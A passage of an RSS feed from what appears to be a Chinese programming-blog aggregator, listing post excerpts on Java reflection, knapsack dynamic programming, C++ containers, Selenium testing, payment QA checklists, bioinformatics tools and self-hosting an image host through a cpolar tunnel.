MyClass { public void myMethod(int value) { System.out.println(&#34;Method invoked with value: &#34; + value); } } 在上述例子中，我们通过反射获取MyClass类的myMethod方法，并使用Method.invoke()调用该方法。这种动态调用的方式使得我们可以在运行时决定调用哪个方法，以及传递什么样的参数。&#xA;实际应用场景 1. 框架扩展 在一些框架和库中，通过反射调用用户提供的扩展点方法，实现对框架的扩展和定制。</description>
    </item>
    <item>
      <title>月薪3万的职场人如何做数据分析？这10张图让你快速从入门到精通！</title>
      <link>https://bchobby.github.io/posts/dbb3440f30fa1e26d23b7363901f0695/</link>
      <pubDate>Tue, 12 Dec 2023 07:55:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbb3440f30fa1e26d23b7363901f0695/</guid>
      <description>我们常说，不能度量，就无法增长。数据分析对于企业商业价值的提升有着至关重要的作用，在职场中，我们需要掌握一套系统的、科学的、符合商业规律的数据分析知识，来应对日常工作中的需求。&#xA;马上就年底了，掌握一些数据分析知识，对年底的工作汇总也十分有用。&#xA;01&#xA;普通职场人为什么要学习数据分析？&#xA;数据分析是通过收集、处理和分析数据，得出有价值的信息用于指导工作的过程。它有助于了解业务进展和变化，定位问题，指引工作方向，衡量工作成效。&#xA;数据分析对企业的发展越来越重要，超过90%的企业正在应用或将要应用数据。同时，数据分析作为分析、解决问题的有效手段，在运营、产品、市场、HR、咨询、投资等各类岗位中，都将成为职场人必备的核心能力。&#xA;对职场新人来说，有数据分析能力的加持，能帮你更快就业，拿到高工资；领域专家可以深度研究专业领域，快速建立行业权威；数据是任何决策的依据，对于中小管理者，掌握精准的数据可以保证企业/项目效益；数据对高层领导的决策影响更大，他们依据数据进行商业洞察，快速找准风口。&#xA;数据分析对很多行业和岗位也是必备能力，比如互联网行业用于日常用户行为分析、流量指标分析、广告投放分析、员工能力评价等；电商/零售日常用于销量监控、产品选择、店铺扩张、促销活动；人力/财务常用于指标搭建、提高效率、业务本质、业务决策；广告/市场进行广告效果检测、媒体投放建议、实时成本控制、社会化聆听等。&#xA;点击查看模板高清原图&#xA;数据分析的价值，就是我们普通职场人变得不普通的一项重要能力，所以人人都应具备数据分析能力。&#xA;02&#xA;如何快速具备数据分析思路？&#xA;具备数据分析思路，首先需要掌握常用的分析方法。了解了常用的这些方法，数据分析思路自然就有了。&#xA;1.常用的数据分析法&#xA;常用的数据分析方法有哪些？根据业务场景中分析目的的不同，会对应不同的分析方法。&#xA;点击查看模板高清原图&#xA;这7类数据分析方法是比较基础和常用的，给想要了解更多的小伙伴再补充几种：&#xA;点击查看模板高清原图&#xA;如果这些常用的分析方法不能满足你 ，下面做了比较全面的数据模型补充。&#xA;2. 35个必学的数据分析模型&#xA;数据分析模型常用的分为3类：&#xA;1）纯理论，和数据无关。比如SWOT、PEST等，这种模型严格意义上来说是一种思考方法，帮助你进行数据分析；&#xA;2）基于指标计算的模型。比如漏斗法、AARRR、矩阵模型、杜邦分析法等，这种是应用在数据分析业务中最多的，和公司的KPI直接挂钩，常用于公司的经营分析，做数据体系等；&#xA;3）基于算法的模型。算法模型有简单的如时间序列等，还有机器学习，回归、聚类等。&#xA;点击查看模板高清原图&#xA;图中整理的35个必学的数据分析模型，包含了前两种模型，即纯理论的模型和基于指标计算的模型，为大家同时提供了思考方法和分析方法。&#xA;03&#xA;数据分析干货知识点&#xA;掌握了常用的数据分析方法和模型，在具体进行数据分析过程中，具备专业的分析知识和工具，才能实现数据分析的目的。&#xA;1. 数据分析全景图&#xA;点击查看高清模板原图&#xA;这张2023年数据分析全景图，从数据分析方法论、业务指标体系、数据分析模型、数据分析方法和数据分析工具5个方面详细介绍了数据分析，全面又专业，帮助大家对数据分析有一个初步的全面认知。&#xA;2.数据分析基础知识&#xA;点击查看模板高清原图&#xA;在数据分析的实际操作中，还要了解和掌握一些数据分析的基础知识，这张图从统计学储备、分析语言和工具、算法原理3个方面进行了整理，对于没有统计学、技术等专业知识的新手来说，入门即是珠穆朗玛，容易被劝退，稳住！&#xA;3.数据分析挖掘&#xA;什么是数据挖掘？数据挖掘是从大量的、不完全的、有噪声的、模糊的、随机的数据中提取隐含在其中的、人们事先不知道的，但又是潜在有用的信息和知识的过程。&#xA;点击查看模板高清原图&#xA;数据挖掘的重点在寻找未知的模式和规律，比较有名的案例之一是“啤酒和尿布的故事”。&#xA;在美国有婴儿的家庭，年轻的父亲去超市买尿布，往往会顺便为自己购买啤酒，这样就出现了啤酒与尿布这两件看上去不相干的商品经常会出现在同一个购物篮的现象。超市发现了这一现象后，在卖场尝试将啤酒与尿布摆放在相同的区域，让年轻的父亲可以快速找到这两件商品，完成购物。&#xA;这个故事因为有数据挖掘的结果支持，才获得了更多的销售收入。&#xA;4.Excel常用公式&#xA;Excel是我们工作中常用的一种工具，熟练运用Excel不仅可以帮助我们提供处理数据的效率，还可以让数据分析变得简单且高效，将我们从单调乏味、重复性的工作中解脱出来。&#xA;点击查看模板高清原图&#xA;5.Excel数据透视表&#xA;Excel中最常用的数据分析就是透视表了，它是一个快速对明细数据表进行各种分类汇总的数据分析工具，基本上能满足初级和简单的数据分析需求，学习起来也并不是非常复杂，在跟领导进行汇报的时候，巧用数据透视表能让你的表达更加深入和准确。&#xA;点击查看模板高清原图&#xA;6.谷歌数据分析方法总结分享&#xA;最后分享一个谷歌的案例，它从数据分析帮你实际解决的问题、数据分析是如何工作的、数据分析基本术语扫盲、通过广告系列解读被监测的数据、监测链接的应用场景等23个方面进行了整理，案例结合前文的干货，相信读完此文你对数据分析会有更深刻的理解。&#xA;点击查看模板高清原图&#xA;一个有能力的职场人，无论是活动策划、产品增长，还是对产品优化的决策，不仅要重视全面的专业技能和方法，更要具备用数据思维分析整体业务的能力。&#xA;也许你以前从未注意对自己数据能力的培养，那么从现在开始多接触、多了解公司业务，多实践、多分析，相信在越来越多的成就感来袭时，你会体验到数据的魅力。&#xA;END&#xA;转自：ProcessOn；&#xA;版权声明：本号内容部分来自互联网，转载请注明原文链接和作者，如有侵权或出处有误请和我们联系。&#xA;合作请加QQ：365242293 数据分析（ID : ecshujufenxi ）互联网科技与数据圈自己的微信，也是WeMedia自媒体联盟成员之一，WeMedia联盟覆盖5000万人群。</description>
    </item>
    <item>
      <title>背包问题（动态规划</title>
      <link>https://bchobby.github.io/posts/78a7188123544560b2fabf62fd645cdb/</link>
      <pubDate>Tue, 12 Dec 2023 00:03:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78a7188123544560b2fabf62fd645cdb/</guid>
      <description>一、01背包 01背包是一种 动态规划 问题。动态规划的核心就是状态转移方程。&#xA;01背包问题可描述为如下问题：&#xA;有一个容量为V的背包，还有n个物体。现在忽略物体实际几何形状，我们认为只要背包的剩余容量大于等于物体体积，那就可以装进背包里。每个物体都有两个属性，即体积w和价值v。&#xA;问：如何向背包装物体才能使背包中物体的总价值最大？&#xA;01背包是背包问题中最简单的问题。01背包的约束条件是给定几种物品，每种物品有且只有一个（或者最多只能选取一个），并且有权值和体积两个属性。&#xA;在01背包问题中，因为每种物品只有一个（或者最多只能选取一个），对于第i个物品只需要考虑选与不选两种情况。那么选与不选的依据是什么呢？当然是该物品的性价比咯，而不是看当前背包所剩空间还能否装得下该物品。因为背包的剩余空间是不断根据选择的物品而变化的。&#xA;那么怎么判断选不选这个物品呢，就是看选了这个物品和不选这个物品背包的价值哪个大。就是max(不选的价值，选的价值)。&#xA;不选：背包的价值就不变，&#xA;选：背包的价值就等于这个物品的价值加上装了这个物品之后背包剩余空间用来装前（i-1）个物品的最大价值。&#xA;原始的 01背包&#xA;回顾一下dp[i][j]的含义：从下标为[0-i]的物品里任意取，放进容量为j的背包，价值总和最大是多少。&#xA;那么可以有两个方向推出来dp[i][j]，&#xA;由dp[i - 1][j]推出，即背包容量为j，里面不放物品i的最大价值，此时dp[i][j]就是dp[i - 1][j]由dp[i - 1][j - weight[i]]推出，dp[i - 1][j - weight[i]] 为背包容量为j - weight[i]的时候不放物品i的最大价值，那么dp[i - 1][j - weight[i]] + value[i] （物品i的价值），就是背包放物品i得到的最大价值 所以递归公式： dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - weight[i]] + value[i]);&#xA;一维dp数组（滚动数组） 对于背包问题其实状态都是可以压缩的。&#xA;在使用二维数组的时候，递推公式：dp[i][j] = max(dp[i - 1][j], dp[i - 1][j - weight[i]] + value[i]);&#xA;其实可以发现如果把dp[i - 1]那一层拷贝到dp[i]上，表达式完全可以是：dp[i][j] = max(dp[i][j], dp[i][j - weight[i]] + value[i]);</description>
    </item>
    <item>
      <title>find()</title>
      <link>https://bchobby.github.io/posts/371ead5deeb156c0fb3bd670003dc70a/</link>
      <pubDate>Tue, 12 Dec 2023 00:02:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/371ead5deeb156c0fb3bd670003dc70a/</guid>
      <description> find（）函数的使用 std::vector&amp;lt;int&amp;gt; myVector = {1, 2, 3, 4, 5}; int target = 3; // 使用find查找目标元素 auto result = std::find(myVector.begin(), myVector.end(), target); // 检查是否找到了目标元素 if (result != myVector.end()) { std::cout &amp;lt;&amp;lt; &#34;找到了目标元素，位置在索引 &#34; &amp;lt;&amp;lt; std::distance(myVector.begin(), result) &amp;lt;&amp;lt; std::endl; } else { std::cout &amp;lt;&amp;lt; &#34;未找到目标元素&#34; &amp;lt;&amp;lt; std::endl; } return 0; </description>
    </item>
    <item>
      <title>优先队列1</title>
      <link>https://bchobby.github.io/posts/9b188ab96fd24a2b5d3ce296d836a9f5/</link>
      <pubDate>Mon, 11 Dec 2023 23:59:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b188ab96fd24a2b5d3ce296d836a9f5/</guid>
      <description>优先队列 C++中的优先队列是由二叉堆实现的。 默认是使用大根堆实现。&#xA;优先队列的基本操作 ：&#xA;empty() 如果队列为空返回真&#xA;pop() 删除队顶元素&#xA;push() 入队一个元素&#xA;size() 返回优先队列中拥有的元素个数&#xA;top() 返回优先队列队顶元素&#xA;1.3.1 priority_queue&amp;lt;int&amp;gt; 是默认的大根堆实现，top()是当前优先队列的最大值。&#xA;1.3.2 priority_queue&amp;lt;int,vector&amp;lt;int&amp;gt;,greater&amp;lt;int&amp;gt;&amp;gt; 是最小值的优先队列，top() 是当前优先队列的最小值。&#xA;1.3.3 priority_queue&amp;lt;int,vector&amp;lt;int&amp;gt;,less&amp;lt;int&amp;gt;&amp;gt; 是最大值的优先队列，top() 是当前优先队列的最大值。</description>
    </item>
    <item>
      <title>关键活动（pta</title>
      <link>https://bchobby.github.io/posts/e672ea51a088eaf8a00d5175e5133ebc/</link>
      <pubDate>Mon, 11 Dec 2023 22:38:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e672ea51a088eaf8a00d5175e5133ebc/</guid>
      <description>#include&amp;lt;iostream&amp;gt; using namespace std; #define N 105 int main() { int n,m; int i, j; int task1, task2, time; cin &amp;gt;&amp;gt; n &amp;gt;&amp;gt; m; int graph[N + 1][N + 1]; int dependence[N + 1], re_dependence[N + 1]; //每个点的入度数和出度数 int ae[N + 1], al[N + 1]; //一项活动最先开始的时间 和 一项活动最晚开始的时间 bool vis[N + 1]; //该任务是否已经完成过了 bool flag = true; //表示该轮中有任务完成 int count; //当前完成的任务的数量 int s[N + 1][N + 1]; //表示输入的边的顺序 int queue[N]; //表示关键路径某个任务中下一个任务编号 int tail; //表示queue中最后一个元素的位置 //初始化 for (i = 0; i &amp;lt;= n; i++) { for (j = 0; j &amp;lt;= n; j++) { graph[i][j] = -1; s[i][j] = -1; } dependence[i] = 0; re_dependence[i] = 0; ae[i] = 0; vis[i] = false; queue[i] = -1; } //输入 for (i = 0; i &amp;lt; m; i++) { cin &amp;gt;&amp;gt; task1 &amp;gt;&amp;gt; task2 &amp;gt;&amp;gt; time; graph[task1][task2] = graph[task2][task1] = time; s[task1][task2] = i; //填入顺序 dependence[task2]++; //入度 re_dependence[task1]++; //出度 } count = 0; //拓扑排序 while (flag &amp;amp;&amp;amp; count !</description>
    </item>
    <item>
      <title>2023-12-08 队列与栈</title>
      <link>https://bchobby.github.io/posts/b8a7f364507bfeb91c0fb8e72c9def18/</link>
      <pubDate>Mon, 11 Dec 2023 21:33:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b8a7f364507bfeb91c0fb8e72c9def18/</guid>
      <description>栈与队列一 232. 用栈实现队列 思路：对于使用栈实现队列的话，必须使用两个共同来维护使得每次都能先进先出！ class MyQueue: def __init__(self): # 需要建立两个list来维护出栈以及进栈 self.stack_in = [] self.stack_out = [] def push(self, x: int) -&amp;gt; None: self.stack_in.append(x) def pop(self) -&amp;gt; int: if self.empty(): return None # 判断出栈是否有元素 if self.stack_out: return self.stack_out.pop() else: for i in range(len(self.stack_in)): self.stack_out.append(self.stack_in.pop()) return self.stack_out.pop() def peek(self) -&amp;gt; int: # 使用list来做，末尾就头 为什么使用pop捏？是为了避免反复进行空的判断！不要代码冗余 ans = self.pop() self.stack_out.append(ans) return ans def empty(self) -&amp;gt; bool: # 只需要两个栈其中一个不为零就可 return not (self.stack_in or self.stack_out) 225.</description>
    </item>
    <item>
      <title>el-input禁止剪切複製粘貼</title>
      <link>https://bchobby.github.io/posts/d052aababad1846cffe525e21e40c602/</link>
      <pubDate>Mon, 11 Dec 2023 17:20:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d052aababad1846cffe525e21e40c602/</guid>
      <description> &amp;lt;el-form-item :prop=&#34;item.prop&#34; :label=&#34;item.label&#34; v-for=&#34;(item, index) in form&#34; :key=&#34;index&#34;&amp;gt; &amp;lt;el-input v-model=&#34;formData[item.prop]&#34; :placeholder=&#34;item.placeholder&#34; @paste.native.capture=&#34;handleFalse($event, item.prop)&#34; @copy.native.capture=&#34;handleFalse($event, item.prop)&#34; @cut.native.capture=&#34;handleFalse($event, item.prop)&#34; /&amp;gt; &amp;lt;/el-form-item&amp;gt; handleFalse(e, prop) { if (prop.includes(&#39;email&#39;)) { e.preventDefault() } }, </description>
    </item>
    <item>
      <title>Antismash-BigScape次级代谢基因簇鉴定</title>
      <link>https://bchobby.github.io/posts/700df1b131a7dfdf74597c794173eca8/</link>
      <pubDate>Mon, 11 Dec 2023 16:26:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/700df1b131a7dfdf74597c794173eca8/</guid>
      <description>文章目录 Antismash概述Install使用其他参数输出详细结果网络文件GCF and GCC交互式可视化网页版 其他详细参数 BigScape简介工作原理installusage输出输出文件夹结构结果 可能的问题Reference Antismash 概述 antiSMASH - the antibiotics and Secondary Metabolite Analysis SHell，是用来鉴定微生物基因组次级代谢物合成基因簇的软件。&#xA;临床上使用的大部分抗生素和药物均来自植物或微生物的天然产物。结合基因组挖掘的经典分离与分析法使得基于基因组的天然产物途径鉴定和描述更为方便。&#xA;一般情况下，参与次级代谢途径中生物合成酶基因在基因组上成簇排列，基于指定类型的HMM，antiSMASH数据库能准确鉴定所有已知的次级代谢簇。在antiSMATH中，将次级代谢簇分为24类。&#xA;Install conda create -n antismash -c bioconda antismash conda activate antismash (antismash) ok@ubuntu $ download-antismash-databases Creating checksum of Pfam-A.hmm PFAM file present and ok for version 32.0 Resfams database present and checked Creating checksum of TIGRFam.hmm TIGRFam database present and checked Creating checksum of proteins.fasta ClusterBlast fasta file present and checked Creating checksum of proteins.</description>
    </item>
    <item>
      <title>Selenium之路: UI自动化测试的必备指南</title>
      <link>https://bchobby.github.io/posts/d805df2e2d1a8354044148b10025e928/</link>
      <pubDate>Mon, 11 Dec 2023 16:03:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d805df2e2d1a8354044148b10025e928/</guid>
      <description>文章目录 一. 什么是自动化测试二. selenium的介绍1. Selenium是什么2. Selenium的工作原理3. Selenium 的环境搭建 三. webdriver API1. 元素的定位1.1 CSS 定位1.2 XPath 定位1.3 实现一个自动化需求 2. 操作测试对象2.1 clear 清除对象输入的文本内容2.2 submit 提交2.3 getAttribute 获取元素对应属性的值 3. 添加等待3.1 隐式等待3.2 显式等待 4. 打印信息5. 浏览器的操作6. 键盘事件7. 鼠标事件7. 定位一组元素8. 多层框架/窗口定位9. 下拉框处理10. alert弹窗的处理11. 上传文件操作12. 关闭浏览器13. 切换窗口14. 截图 一. 什么是自动化测试 自动化测试指软件测试的自动化，可以使用软件工具或脚本来执行测试任务的过程，以替代人工进行重复性、繁琐或耗时的测试活动；是将人为驱动的测试行为转化为机器执行的过程 。&#xA;自动化测试包括 UI 自动化，接口自动化，单元测试自动化。&#xA;二. selenium的介绍 1. Selenium是什么 Selenium 是 Web 应用中基于 UI 的自动化测试框架，它的优点如下：&#xA;开源免费。支持多浏览器，比如 Chrome，Edge，Firefox，Safari 等。支持多语言，包括 Java，Python，C# 等，都可以使用 Selenium 这个工具。支持多操作系统，比如 Windows，Linux，Mac 等。Selenium 的底层封装了丰富的 API，可以直接拿来使用。 2.</description>
    </item>
    <item>
      <title>Cmap数据以及L1000介绍</title>
      <link>https://bchobby.github.io/posts/429641b86bffd1f9cf331a52e49944db/</link>
      <pubDate>Mon, 11 Dec 2023 15:35:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/429641b86bffd1f9cf331a52e49944db/</guid>
      <description>Cmap数据库 参考文献 [1]什么是基因表达谱分析及其相关概念&#xA;[2]GEO CMap LINCS User Guide v2.1&#xA;[3]CLUE：扰动驱动基因差异表达数据库</description>
    </item>
    <item>
      <title>【银行测试】第三方支付测试点&#43;支付业务流程测试分析...</title>
      <link>https://bchobby.github.io/posts/b55365ae3d50a6a9d38a9931fdaff7f3/</link>
      <pubDate>Mon, 11 Dec 2023 14:54:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b55365ae3d50a6a9d38a9931fdaff7f3/</guid>
      <description>目录：导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结（尾部小惊喜） 前言 1、支付功能测试点&#xA;1）功能测试&#xA;是否可以支持免密支付，由收付款支付页面直接跳转到支付成功页面；&#xA;银行卡支付卡号正确，零码正确，支付成功；&#xA;银行卡支付卡号错误，密码错误，支付失败；&#xA;错误次数限制，错1次是否可以重试，错误2次是否可以重试，3次是否会锁卡；&#xA;是否支持扫码二维码支付；&#xA;是否支持指纹支付；&#xA;指纹支付手指受伤，指纹无法正确识别，支付失败；&#xA;指纹识别成功，支付成功；&#xA;新录入的指纹，需要密码支付；&#xA;指纹支付失败限制次数；&#xA;是否支持微信，支付宝，花呗，借呗，零钱通，零钱，信用卡等等支付；&#xA;是否支持信用卡，不同的银行卡，网银，云闪付，第三方和数字人民币支付；&#xA;支付金额要验证0.01和5万能不能支付，边界值的情况，比如-1,50000.01能不能支付，输入中文能不能支付；&#xA;空值支付，消费金额达上限，无法支付；&#xA;余额充足支付成功，余额不足取消支付；&#xA;显示余额不足并不会扣除余额，更换支付方式是否继续支付，是否可以取消支付；&#xA;2）兼容性测试&#xA;不同系统、不同网络 (wifi/4/5G)、不同浏览器、不同的二维码&#xA;3）容错性测试&#xA;支付过程断网；&#xA;支付成功后退款；&#xA;余额不足，更换支付方式；&#xA;支付时指纹不正确、支付中关机、支付时跳转其他页面；&#xA;支付时刷新页面支付到一半取消返回；&#xA;4）性能和压力测试&#xA;多个用户同时向一个账户支付；&#xA;页面跳转时间；&#xA;支付成功后跳转账单信息时间；&#xA;支付时的耗电量；&#xA;支付金额不足时，更换支付方式跳转时间；&#xA;支付密码错误时，弹出信息时间；&#xA;不同的网络环境下，支付成功响应时间；&#xA;5）界面测试&#xA;支付页面简约大气；&#xA;支付页面显示金额字体合适；&#xA;输入密码时健盘字休洁晰大小合理；&#xA;账单信息页面完整清晰；&#xA;6）安全测试&#xA;密码是否可见；&#xA;支付较大金额会询问是否确定；&#xA;支付的金额与所扣的金额是否一致；&#xA;支付完成是否会跳转到账单信息页面；&#xA;在新设备上会提示支付实名认证；&#xA;7）易用性测试&#xA;免密支付；&#xA;指纹支付；&#xA;错误信息提示易懂；&#xA;2、梳理支付的业务流程&#xA;点击支付—&amp;gt; 选择支付方式 —&amp;gt; 确认金额—&amp;gt; 输入密码 —&amp;gt; 成功支付&#xA;完成这个流程测试，也就是完成了项目的冒烟测试！&#xA;然后需要测试针对流程中的每个阶段和步骤，具体分析可能导致异常的测试点，所以可以按阶段和输入项来进行划分。&#xA;3、支付的分类&#xA;一般来讲，线上支付分为两种消费模式。&#xA;一种是直接支付金额，如淘宝，京东等购物网站，或是360云盘，视频会员等这种会员服务；&#xA;另一种是充值购买金豆之类的虚拟币，在网站中使用虚拟币进行消费，比如游戏平台、花椒等产品！&#xA;1）功能测试&#xA;接下来就是测试方面的工作了，首先进行的是功能测试，那么将边界值、等类划分、错误推测，因果图等各种测试方法相结合，整理出来了一套相对全面的测试案例，对支付功能进行测试，从而确保整个支付流程和涉及到的支付流程在任何情况下都能使用。</description>
    </item>
    <item>
      <title>本地如何使用PHP搭建简单Imagewheel云图床，结合内网穿透实现在外远程访问？</title>
      <link>https://bchobby.github.io/posts/eef0684cc4a7490cfc472f24cbc519af/</link>
      <pubDate>Mon, 11 Dec 2023 14:20:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eef0684cc4a7490cfc472f24cbc519af/</guid>
      <description>文章目录 1.前言2. Imagewheel网站搭建2.1. Imagewheel下载和安装2.2. Imagewheel网页测试2.3.cpolar的安装和注册 3.本地网页发布3.1.Cpolar临时数据隧道3.2.Cpolar稳定隧道（云端设置）3.3.Cpolar稳定隧道（本地设置） 4.公网访问测试5.结语 1.前言 云存储在前几年风头无两，云存储平台也如雨后春笋般冒出来。但是这两年风头退去云存储平台相继关闭，除了几个互联网大厂，其他平台都在苦苦支撑。而图床作为云存储的一个分支，更是所剩无几。但图床不仅能用来存储个人图片，也能作为网站图片的来源，想要拥有一个稳定的图床，似乎只能自己动手。今天，笔者就为大家介绍，如何使用Cpolar+ Imagewheel，搭建一个简洁明了的私人图床。&#xA;2. Imagewheel网站搭建 Imagwheel是一款国外开发的轻量级图床程序，可以使用php5.X-7.X版本，同时也支持MySQL。虽然是轻量级图床程序，但其界面简单明快，看着很清爽，而功能也并不弱于其他图床程序。至少对用户来说，也是多一种的选择。&#xA;2.1. Imagewheel下载和安装 Imgwheel虽然是开源程序，但笔者没有找到github的下载地址，只能提供一个第三方下载地址（https://zhujiwiki.com/wp-content/uploads/2017/11/1917334780.zip）。Imgwheel源码下载完成后，将其解压，就能得到Imagewheel的源码文件夹。将这个文件夹粘贴到网站文件夹内（笔者使用的是phpstudy集成面板，因此将Imgwheel文件夹粘贴到phpstudy的WWW文件夹下），就可以开启Imagewheel网站安装流程。&#xA;接着打开phpstudy，在软件主界面左侧点击网站按钮进入网站列表页面，再点击网站列表页面左上的创建网站按钮，进入新建网站的设置页面。&#xA;在网站设置页面，我们需要进行设置的内容并不多，只要设置一下几项：&#xA;域名 - 本地打开Imagewheel网站的域名，可随意输入；端口 -Imagwheel网站的输出端口，只要未被占用即可；根目录 – Imagewheel网站的文件存放位置，在这个例子中，笔者将这些文件放在phpstudy的www文件夹下；程序类型 – 由于Imagewheel是一个轻量化的web程序，可在php5.X-7.X下运行，为保险起见，笔者选择php5.6.9版本。需要注意的是，Imagewheel正常运行需要打开php的gd、bcmath、mysql几项扩展。 由于Apache已经自带了伪静态规则，因我们使用Apache运行网站就不必进行额外设置。但如果使用Nginx，就需要设定相应的伪静态规则（笔者在网上找到的Nginx下Imagwheel伪静态规则有问题，会导致Nginx运行报错，因此不建议使用Nginx运行Imagwheel网站）。&#xA;这些设置完成后，就可以点击最下方的“确认”按钮，保存Imagewheel网站的设置。&#xA;下一步，我们只要在浏览器地址栏中，输入Imagewheel网站的本地地址，就可以开始Imagewheel网站的部署。由于Imagewheel网站网站的网页运行文件是application.php，因此在浏览器输入Imagewheel网站地址时，需要指明运行程序，需要输入的地址也变为“本地地址:端口号/application.php”。这里我们输入localhost:81/application.php。&#xA;这里我们输入localhost:81/application.php，就能进入Imagewheel网站的安装页面。&#xA;在安装页面，我们需要填入的信息并不多，主要是填入之前在phpstudy中设置的数据库信息，输入完成后，就能点击页面下方的“安装”按钮。安装完成后，就会转入Imagewheel网站的主页面。&#xA;虽然我们在本地电脑上部署好了Imagewheel网站，但想要访问网站，我们每次都要按“本地地址:端口号/application.php”格式输入地址，这明显不是我们想要的。因此我们将application.php复制粘贴，将复制的文件改名为index.php（也可以直接将application.php更名为index.php）。就可以按“本地地址:端口号”格式输入浏览器地址栏，访问到Imagewheel网站。&#xA;2.2. Imagewheel网页测试 按上述方法修改index.php文件后，我们在浏览器地址栏输入localhost:81，就能正确打开Imagewheel网站。&#xA;同时，我们可以点击Imagewheel网站右上角，输入安装Imagewheel是设置的管理员账号和密码，进入Imagewheel网站后台，对已有设置进行变更。&#xA;2.3.cpolar的安装和注册 完成Imagewheel网站在本地设备上的部署后，就可以转入cpolar内网穿透的安装。相比Imagewheel网站部署，cpolar的安装注册要简单很多。直接在cpolar的官网页面（https://www.cpolar.com/），就能找到“下载”按钮。&#xA;笔者使用的是Windows操作系统，因此选择Windows版本的cpolar进行下载。&#xA;Cpolar下载完成后，将下载的文件解压，双击解压后的.msi文件，即可自动执行安装程序。接着只要一路Next就能完成安装。&#xA;cpolar会为每个用户创建独立的数据隧道，以用户密码和token码保证数据安全，因此在使用cpolar之前，需要进行用户注册。注册过程很简单，只要在cpolar主页右上角点击用户注册，在注册页面填入必要信息，就能完成注册。&#xA;3.本地网页发布 到这里，我们完成了本地Imagewheel网站的部署，并安装了cpolar内网穿透程序。接下来我们就可以使用cpolar，创建一个能够连接本地Imagewheel网站的内网穿透数据隧道，让我们能在公共互联网上访问本地Imagewheel网站&#xA;3.1.Cpolar临时数据隧道 为满足部分客户需要的网页临时测试功能，cpolar可以直接在cpolar户端创建临时数据隧道（每隔24小时重置一次公共互联网地址，）。要创建临时数据隧道，我们直接在本地设备上登录cpolar客户端（在浏览器地址栏输入localhost:9200），并在cpolar客户端主界面点击隧道管理项下的创建隧道按钮，进入创建隧道设置页面。&#xA;在“创建隧道”页面，我们需要对几项信息设置，这些信息设置包括：&#xA;隧道名称 – 可以看做cpolar客户端的隧道信息注释，只要方便我们分辨即可；协议 – Imagewheel网站是网页程序，因此选择http协议；本地地址 – 本地地址即为本地Imagewheel网站的输出端口号，因此这里也填入81；域名类型 –这里我们可以区分数据隧道是临时使用，或是长期存续。由于我们只是先进行临时测试，因此选择“随机域名”（二级子域名和自定义域名都是长期稳定隧道，需要在cpolar云端预留公共互联网地址）。地区 – 即服务器所在位置，我们依照实际使用地就近填写即可； 完成这些设置后，就可以点击页面下方的创建按钮，建立一条临时数据隧道。临时数据隧道创建完成后，cpolar客户端会自动跳转至隧道管理项下的隧道列表页面，在这里我们可以看到cpolar本地的所有数据隧道（无论临时还是长期）。我们也可以在这里，对数据隧道进行管理，包括开启、关闭或删除这条隧道，也可以点击“编辑”按钮，最这条数据隧道的信息进行修改。&#xA;而我们创建的能够连接本地Imagewheel网站的临时公共互联网网址，则可以在状态项下的在线隧道列表中找到。&#xA;将这里显示的公共互联网地址粘贴到浏览器地址栏，就能访问到本地的Imagewheel图床页面。&#xA;不过，此时的Imagewheel数据隧道还只是临时数据隧道，每24小时就会重置一次公共互联网网址。如果还想要连接本地Imagewheel网页，就需要使用新地址连接。&#xA;3.2.Cpolar稳定隧道（云端设置） 如果想要为本地CFImagehost网站设置能长期稳定存在的数据隧道，我们需要先将cpolar升级至VIP版。&#xA;接下来，我们就可以登录cpolar的官网，并在用户主页面左侧找到预留按钮，点击进入cpolar的数据隧道预留页面，在这里生成一个公共互联网地址（可以看做数据隧道的入口），由于此时这个地址没有连接本地的软件输出端口，因此也可以看做是一条空白的数据隧道。&#xA;在预留页面，可以看到很多种可保留的数据隧道，这里我们选择保留二级子域名栏位。&#xA;在“保留二级子域名”栏位，需要进行几项信息的简单设置，即&#xA;地区（服务器所在区域，就近选择即可）二级域名（会最终出现在生成的公共互联网地址中，作为网络地址的标识之一）描述（可以看做这条数据隧道的描述，能够与其他隧道区分开即可） 完成这几项设置后，就可以点击右侧的保留按钮，将这条数据隧道保留下来。&#xA;当然，如果这条数据隧道不打算再使用，还可以点击右侧的“x”将其轻松删除，节约宝贵的隧道名额。&#xA;3.3.Cpolar稳定隧道（本地设置） 完成cpolar云端的设置，并保留了空白数据隧道后，我们回到本地的cpolar客户端，将云端生成的空白数据隧道与本地的测试页面连接起来。</description>
    </item>
    <item>
      <title>【后端】系统设计类题目汇总五</title>
      <link>https://bchobby.github.io/posts/a88ee000b9206715b9ff0f1c0f00b8e9/</link>
      <pubDate>Mon, 11 Dec 2023 14:19:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a88ee000b9206715b9ff0f1c0f00b8e9/</guid>
